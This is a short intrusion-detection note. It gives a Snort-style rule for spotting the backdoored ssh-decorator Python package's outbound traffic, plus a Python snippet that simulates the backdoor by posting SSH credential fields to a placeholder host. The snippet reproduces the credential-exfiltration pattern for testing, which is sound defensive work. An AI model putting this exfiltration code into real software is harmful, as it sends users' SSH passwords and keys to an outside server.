The below rule is derived from the reference. Simple testing with python is show below as illustrated in the screenshot in the reference.

# --------------------
# Date: 2018-05-09
# Title: backdoored ssh-decorator package
# Tests: research, syntax only
# Reference: https://www.reddit.com/r/Python/comments/8hvzja/backdoor_in_sshdecorator_package

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"MALWARE-CNC backdoored ssh-decorator package outbound connection"; flow:to_server,established; content:"/index.php"; fast_pattern:only; http_uri; content:"pkey="; http_uri; content:"port="; http_uri; content:"server="; http_uri; content:"password="; http_uri; content:"user="; http_uri; metadata:ruleset community, service http; reference:url,https://www.reddit.com/r/Python/comments/8hvzja/backdoor_in_sshdecorator_package; classtype:trojan-activity; sid:8000050; rev:1;)

>>> import urllib
>>> from urllib.request import urlopen
>>> from urllib.parse import urlencode
>>> log = {"server": "test", "port":"22", "pkey":"random", "password":"password", "user":"user"}
>>> post = bytes(urlencode(log), "utf-8")
>>> handler = urlopen("http://examplenxdomain.cf", post)
>>> print(log)
{'port': '22', 'user': 'user', 'password': 'password', 'server': 'test', 'pkey': 'random'}
>>> print(post)